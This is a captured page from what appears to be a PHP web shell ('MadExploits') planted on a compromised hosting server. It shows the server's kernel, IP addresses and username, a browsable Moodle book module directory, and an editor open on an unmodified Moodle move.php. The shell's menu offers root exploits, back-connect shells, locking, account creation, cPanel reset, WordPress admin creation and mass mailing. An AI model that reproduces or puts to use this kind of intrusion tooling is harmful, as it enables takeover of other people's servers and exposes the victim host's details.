Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.69.17.165
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead.aptans /
mod /
book /
[ HOME SHELL ]
Name
Size
Permission
Action
backup
[ DIR ]
drwxr-xr-x
classes
[ DIR ]
drwxr-xr-x
db
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
pix
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
tool
[ DIR ]
drwxr-xr-x
README.md
1.64
KB
-rw-r--r--
delete.php
4.06
KB
-rw-r--r--
edit.php
5.51
KB
-rw-rw-r--
edit_form.php
3.46
KB
-rw-r--r--
index.php
3.45
KB
-rw-r--r--
lib.php
25.47
KB
-rw-rw-r--
locallib.php
27.41
KB
-rw-r--r--
mod_form.php
3.75
KB
-rw-rw-r--
move.php
5.37
KB
-rw-r--r--
settings.php
1.97
KB
-rw-rw-r--
show.php
2.64
KB
-rw-r--r--
styles.css
1.86
KB
-rw-r--r--
upgrade.txt
1.05
KB
-rw-rw-r--
version.php
1.21
KB
-rw-rw-r--
view.php
9.48
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : move.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Move book chapter * * @package mod_book * @copyright 2004-2011 Petr Skoda {@link http://skodak.org} * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ require(__DIR__.'/../../config.php'); require_once(__DIR__.'/locallib.php'); $id = required_param('id', PARAM_INT); // Course Module ID $chapterid = required_param('chapterid', PARAM_INT); // Chapter ID $up = optional_param('up', 0, PARAM_BOOL); $cm = get_coursemodule_from_id('book', $id, 0, false, MUST_EXIST); $course = $DB->get_record('course', array('id'=>$cm->course), '*', MUST_EXIST); $book = $DB->get_record('book', array('id'=>$cm->instance), '*', MUST_EXIST); require_login($course, false, $cm); require_sesskey(); $context = context_module::instance($cm->id); require_capability('mod/book:edit', $context); $chapter = $DB->get_record('book_chapters', array('id'=>$chapterid, 'bookid'=>$book->id), '*', MUST_EXIST); $oldchapters = $DB->get_records('book_chapters', array('bookid'=>$book->id), 'pagenum', 'id, pagenum, subchapter'); $nothing = 0; $chapters = array(); $chs = 0; $che = 0; $ts = 0; $te = 0; // create new ordered array and find chapters to be moved $i = 1; $found = 0; foreach ($oldchapters as $ch) { $chapters[$i] = $ch; if ($chapter->id == $ch->id) { $chs = $i; $che = $chs; if ($ch->subchapter) { $found = 1;// Subchapter moves alone. } } else if ($chs) { if ($found) { // Nothing. } else if ($ch->subchapter) { $che = $i; // Chapter with subchapter(s). } else { $found = 1; } } $i++; } // Find target chapter(s). if ($chapters[$chs]->subchapter) { // Moving single subchapter up or down. if ($up) { if ($chs == 1) { $nothing = 1; // Already first. } else { $ts = $chs - 1; $te = $ts; } } else { // Down. if ($che == count($chapters)) { $nothing = 1; // Already last. } else { $ts = $che + 1; $te = $ts; } } } else { // Moving chapter and looking for next/previous chapter. if ($up) { // Up. if ($chs == 1) { $nothing = 1; // Already first. } else { $te = $chs - 1; for ($i = $chs-1; $i >= 1; $i--) { if ($chapters[$i]->subchapter) { $ts = $i; } else { $ts = $i; break; } } } } else { // Down. if ($che == count($chapters)) { $nothing = 1; // Already last. } else { $ts = $che + 1; $found = 0; for ($i = $che+1; $i <= count($chapters); $i++) { if ($chapters[$i]->subchapter) { $te = $i; } else { if ($found) { break; } else { $te = $i; $found = 1; } } } } } } // Recreated newly sorted list of chapters. if (!$nothing) { $newchapters = array(); if ($up) { if ($ts > 1) { for ($i=1; $i<$ts; $i++) { $newchapters[] = $chapters[$i]; } } for ($i=$chs; $i<=$che; $i++) { $newchapters[$i] = $chapters[$i]; } for ($i=$ts; $i<=$te; $i++) { $newchapters[$i] = $chapters[$i]; } if ($che<count($chapters)) { for ($i=$che; $i<=count($chapters); $i++) { $newchapters[$i] = $chapters[$i]; } } } else { if ($chs > 1) { for ($i=1; $i<$chs; $i++) { $newchapters[] = $chapters[$i]; } } for ($i=$ts; $i<=$te; $i++) { $newchapters[$i] = $chapters[$i]; } for ($i=$chs; $i<=$che; $i++) { $newchapters[$i] = $chapters[$i]; } if ($te<count($chapters)) { for ($i=$te; $i<=count($chapters); $i++) { $newchapters[$i] = $chapters[$i]; } } } // Store chapters in the new order. $i = 1; foreach ($newchapters as $ch) { $ch->pagenum = $i; $DB->update_record('book_chapters', $ch); $ch = $DB->get_record('book_chapters', array('id' => $ch->id)); \mod_book\event\chapter_updated::create_from_chapter($book, $context, $ch)->trigger(); $i++; } } book_preload_chapters($book); // fix structure $DB->set_field('book', 'revision', $book->revision+1, array('id'=>$book->id)); redirect('view.php?id='.$cm->id.'&chapterid='.$chapter->id);
Close